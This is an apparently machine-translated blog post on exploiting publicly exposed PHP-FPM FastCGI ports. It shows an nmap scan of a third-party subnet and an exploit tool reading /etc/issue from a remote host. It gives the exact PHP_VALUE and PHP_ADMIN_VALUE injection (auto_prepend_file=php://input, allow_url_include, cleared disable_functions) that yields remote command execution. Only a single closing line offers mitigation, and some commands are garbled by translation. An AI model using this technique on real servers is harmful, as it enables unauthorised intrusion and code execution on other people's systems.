Speaking of FastCGI, we all know that this is one of the most common dynamic script execution models of webserver. Currently, basically all web scripts support this mode, and even some types of scripts are the only mode (ROR, Python, etc ).
FastCGI mainly aims to separate the execution of webserver and dynamic language into two different resident processes. When webserver receives dynamic script requests, then, requests are forwarded to the fcgi process through the network through the fcgi protocol. After the fcgi process processes the requests, the results are sent to the webserver and then the webserver outputs the results to the browser. This model does not need to restart cgi once every request or embed a script parser into webserver. Therefore, it is highly scalable. Once the number of dynamic script requests increases, the backend fcgi process can be set up in a single cluster to provide services, greatly increasing the maintainability. This is also one of the reasons why similar models such as fcgi are so popular.
However, this model also brings about some problems. For example, the nginx File Parsing Vulnerability published by 80sec last year is actually a problem because fcgi and webserver have different understandings of script path-level parameters. In addition, fcgi and webserver communicate through the network, so more and more clusters are directly bound to the public network, and everyone can access fcgi. This means that anyone can pretend to be a webserver and let fcgi execute the script content we want to execute.
OK. The above is the explanation of the background principle. Here I will use my most familiar PHP to give you an example.
Fastcgi of php is usually called FPM. The default listening port is port 9000. Here we use nmap to scan directly:
Nmap-sV-p 9000 -- open x. x/24
Why use sV? Because port 9000 may have other services, we need to use nmap for fingerprint identification first.
[Root @ test :~ /Work/fcgi] # nmap-sV-p 9000 -- open 173. xxx. xxx.1/24
Starting Nmap 6.01 (http://nmap.org) at EDT
Nmap scan report for abc.net (173. xxx. xxx.111)
Host is up (0.0095 s latency ).
PORT STATE SERVICE VERSION
9000/tcp open ssh OpenSSH 5.3p1 Debian 3ubuntu7 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o: linux: kernel
Nmap scan report for abc.com (173. xxx. xxx.183)
Host is up (0.0096 s latency ).
PORT STATE SERVICE VERSION
9000/tcp open tcpwrapped
Service detection completed MED. Please report any incorrect results at http://nmap.org/submit.
Nmap done: 256 IP addresses (198 hosts up) scanned in 7.70 seconds
I scanned it for a moment. Good luck. One of the C segments has two open ports 9000, but one is the sshd modified by the Administrator and the other is the target.
In order to do the test, I wrote a fastcgi client program that directly initiates a request to the other party. What can we do with an open fastcgi? This is a little different from a common http request, because in order to provide some fastcgi parameters, the webserver will pass to the fcgi process each time it forwards the request through the FASTCGI_PARAMS package. These parameters are uncontrollable, but since fcgi is open to the outside world, we can set these parameters to let us do something we could not do:
[Root @ test :~ /Work/fcgi] #./fcgi_exp read 173. xxx. xxx.183 9000/etc/issue
X-Powered-By: PHP/5.3.2-1ubuntu4. 9
Content-type: text/html www.2cto.com
Ubuntu 10.04.3 LTS \ n \ l
After reading the/etc/issue file, we can see that this is a ubuntu 10.04 machine. How can this problem be achieved? In fact, we only need to set the DOCUMENT_ROOT as the "/" root directory in FASTCGI_PARAMS, and then set SCRIPT_FILENAME to/etc/issue. In this way, as long as we have permissions, we can control fcgi to read arbitrary files on this machine. In fact, this is not to read, but to execute it using php.
This vulnerability is similar to a common LFI vulnerability. If you know the log Path on this machine or any file path that you can control, you can execute any code.
So far? No, it is not convenient to use log or guess other file paths to execute code. Is there a more convenient way for me to execute any code I submitted?
Here I have also found a lot of ways. The first thing that comes to mind is to pass the env parameter and then execute the/proc/self/environ file, unfortunately, after receiving my parameter value, php-fpm only modifies the environment variable in the memory and does not directly change this file. Therefore, it cannot be used. Besides, this method is not applicable to all systems.
We also have a way to dynamically modify php by writing CVE-2012-1823 (PHP-CGI RCE) PoC and technical challenges I wrote earlier. the value of auto_prepend_file in ini to remotely execute any file. Turning an LFI vulnerability into RFI greatly increases the available space.
Does fastcgi support similar dynamic modification of php configurations? I checked the information and found that FPM was not supported. It was not until a developer submitted a bug that php officially sent this feature Merge to the source code of php 5.3.3.
By setting FASTCGI_PARAMS, we can use PHP_ADMIN_VALUE and PHP_VALUE to dynamically modify php settings.
Env ["REQUEST_METHOD"] = "POST"
Env ["PHP_VALUE"] = "auto_prepend_file = php: // input"
Env ["PHP_ADMIN_VALUE"] = "allow_url_include = On \ ndisable_functions = \ nsay fe_mode = Off"
Execute php: // input, and then write our php code in the POST content, so that you can directly execute it.
[Root @ test :~ /Work/fcgi] #./fcgi_exp system 127.0.0.1 9000/tmp/a. php "id; uname-"
X-Powered-By: PHP/5.5.0-dev
Content-type: text/html
Uid = 500 (www) gid = 500 (www) groups = 500 (www)
Linux test 2.6.18-308.13.1.el5 #1 SMP Tue Aug 21 17:51:21 EDT 2012 x86_64 x86_64 x86_64 GNU/Linux
Those who are careful will notice some changes here. I switched to the Local Machine for testing. Because the php version of the machine that was first discovered is 5.3.2, which is lower than 5.3.3, you cannot use the ini settings to execute the code. You can only guess the path.
Another change is that I read the php file/tmp/a. php, instead of reading/etc/issue. Since php has officially added the "security. limit_extensions" configuration since 5.3.9, only files with the extension ". php" can be executed by default. Therefore, you must find an existing PHP file. This setting is in the php-fpm.conf and cannot be overwritten by modifying the ini configuration. If anyone has a better way to bypass this restriction, please let me know.
OK. All tests on php-fpm have been completed so far. We can use an open fcgi process to directly obtain the shell. You may want to study other fcgi products and discover more.
How to prevent this vulnerability? Very simple. Do not expose the fcgi interface to the public network. We also hope that fcgi will have an identity authentication mechanism in the future.
To compile on any system, install golang and execute:
Go build fcgi_exp.go